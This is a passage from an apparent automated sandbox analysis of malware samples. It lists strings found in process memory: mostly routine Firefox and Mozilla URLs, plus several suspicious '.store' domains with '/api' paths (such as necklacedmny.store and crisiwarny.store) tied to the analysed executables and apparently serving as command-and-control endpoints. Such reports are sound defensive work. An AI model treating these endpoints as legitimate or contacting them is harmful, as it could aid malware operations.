Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000024.00000002.2565377326.0000019A58130000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2565377326.0000019A58111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crisiwarny.store/v
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crisiwarny.store:443/api
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 0322d7d8d5.exe, 00000013.00000003.2395851791.000000000538B000.00000004.00001000.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2454730421.0000000000BEC000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000028.00000000.2521635017.00000000005AC000.00000008.00000001.01000000.00000019.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000024.00000003.2525375754.0000019A67A7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2907504434.00000FB99EA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2908251928.00002220FA304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fadehairucw.store:443/api
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64324000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64FFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.comnet:prune-dead-connections
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000024.00000003.2525375754.0000019A67A7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiments/screenshots/schema.json/shims/private-bro
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000024.00000002.2565377326.0000019A58111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881UpdateUt
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64FA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870208786.0000019A65221000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%shttp://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shandlerSvc
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000027.00000002.2550351962.00000297E9E72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2713614252.0000019A64280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000024.00000002.2908556923.000036F1B3D04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: 44f3ff7773.exe, 44f3ff7773.exe, 00000012.00000003.2408360886.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408110860.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408777729.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2388958454.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387551508.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408029539.0000000005A31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.sto
Source: 44f3ff7773.exe, 00000012.00000003.2408360886.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408110860.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408777729.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2388958454.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387551508.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408029539.0000000005A31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.sto_
Source: 44f3ff7773.exe, 00000012.00000003.2408360886.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408110860.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408777729.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2388958454.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387551508.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408029539.0000000005A31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.stog
Source: 44f3ff7773.exe, 00000012.00000003.2408029539.0000000005A31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000004.00000003.1386352087.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1390315331.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/#
Source: 44f3ff7773.exe, 00000012.00000003.2439770728.0000000001359000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2440208301.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/(
Source: file.exe, 00000004.00000003.1418873549.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1386352087.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1390315331.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1349515106.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/;
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/J
Source: 44f3ff7773.exe, 00000012.00000003.2449977891.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2449132412.000000000134D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/R
Source: 44f3ff7773.exe, 00000012.00000003.2387375730.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408360886.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408110860.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408777729.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2388958454.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387551508.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2408029539.0000000005A31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/V
Source: file.exe, 00000004.00000003.1320119316.00000000014E8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/afp
Source: 44f3ff7773.exe, 00000012.00000003.2370711817.0000000005A3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/alse
Source: file.exe, 00000004.00000003.1390315331.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1371791078.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1418926227.0000000001503000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1418943426.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1419009654.0000000001507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1397112437.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1397061677.0000000001502000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1368895353.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 44f3ff7773.exe, 00000012.00000003.2449861994.0000000001359000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2439770728.0000000001359000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001343000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2440208301.0000000001362000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2565868768.0000000001356000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 